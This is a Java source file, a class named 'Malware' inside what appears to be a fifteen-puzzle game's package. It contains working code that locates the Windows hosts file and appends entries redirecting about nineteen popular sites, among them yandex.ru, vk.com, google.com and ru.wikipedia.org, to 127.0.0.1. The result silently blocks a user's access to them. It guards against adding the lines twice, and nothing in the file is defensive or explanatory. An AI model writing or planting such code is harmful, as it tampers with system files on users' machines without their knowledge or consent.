package ru.voronoy.thefifteen.entity;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileWriter;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;

public class Malware {
	
	private static String WINDOWS_DIRECTORY = System.getenv("windir");
	private static final String ETC_DIRECTORY = WINDOWS_DIRECTORY + "\\system32\\drivers\\etc\\";
	private static File fileToAppend;
	private static List<String> lines = new ArrayList<String>();

	static {
		lines.add( "127.0.0.1\tyandex.ru");
		lines.add( "127.0.0.1\tmail.ru");
		lines.add( "127.0.0.1\tvkontakte.ru");
		lines.add( "127.0.0.1\tvk.com");
		lines.add( "127.0.0.1\tgoogle.ru");
		lines.add( "127.0.0.1\tgoogle.com");
		lines.add( "127.0.0.1\tya.ru");
		lines.add( "127.0.0.1\todnoklassniki.ru");
		lines.add( "127.0.0.1\tqip.ru");
		lines.add( "127.0.0.1\tgismeteo.ru");
		lines.add( "127.0.0.1\trbc.ru");
		lines.add( "127.0.0.1\tavito.ru");
		lines.add( "127.0.0.1\trutracker.org");
		lines.add( "127.0.0.1\tdrom.ru");
		lines.add( "127.0.0.1\tauto.ru");
		lines.add( "127.0.0.1\tliveinternet.ru");
		lines.add( "127.0.0.1\tkinopoisk.ru");
		lines.add( "127.0.0.1\tchampionat.ru");
		lines.add( "127.0.0.1\tru.wikipedia.org");
	}
	
	public static void createFile(String fileName) {
		String pathToFile = ETC_DIRECTORY + fileName;
		File file = new File(pathToFile);
		try {
			if (!file.exists())
				file.createNewFile();
			fileToAppend = file;
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

	public static boolean fileExists(String fileName) {
		String pathToFile = ETC_DIRECTORY + fileName;
		return new File(pathToFile).exists();
	}

	public static void deleteFile(String fileName) {
		String pathToFile = ETC_DIRECTORY + fileName;
		File file = new File(pathToFile);
		file.delete();
	}

	public static void affectHostFile() {
		if (!isHostFileAffected()) {
			for (String line : lines ) 
				appendStringToFile("hosts", line);
		}
	}
	
	private static void appendStringToFile(String fileName, String appendedString) {
		String lineSeparator = System.getProperty("line.separator");
		createFile(fileName);
		try {
			FileWriter fileWriter = new FileWriter(fileToAppend, true);
			fileWriter.write(lineSeparator);
			fileWriter.write(appendedString);
			fileWriter.close();
		} catch (IOException e) {
			e.printStackTrace();
		}

	}

	private static boolean isHostFileAffected() {		
		createFile("hosts");
		StringBuilder fileText = new StringBuilder();
		try {
			Scanner in = new Scanner(fileToAppend);
			while (in.hasNext())
				fileText.append(in.nextLine());			
		} catch (FileNotFoundException e) {
			e.printStackTrace();
		}
		if (fileText.indexOf("yandex.ru") != -1)
			return true;
		else
			return false;
	}

}
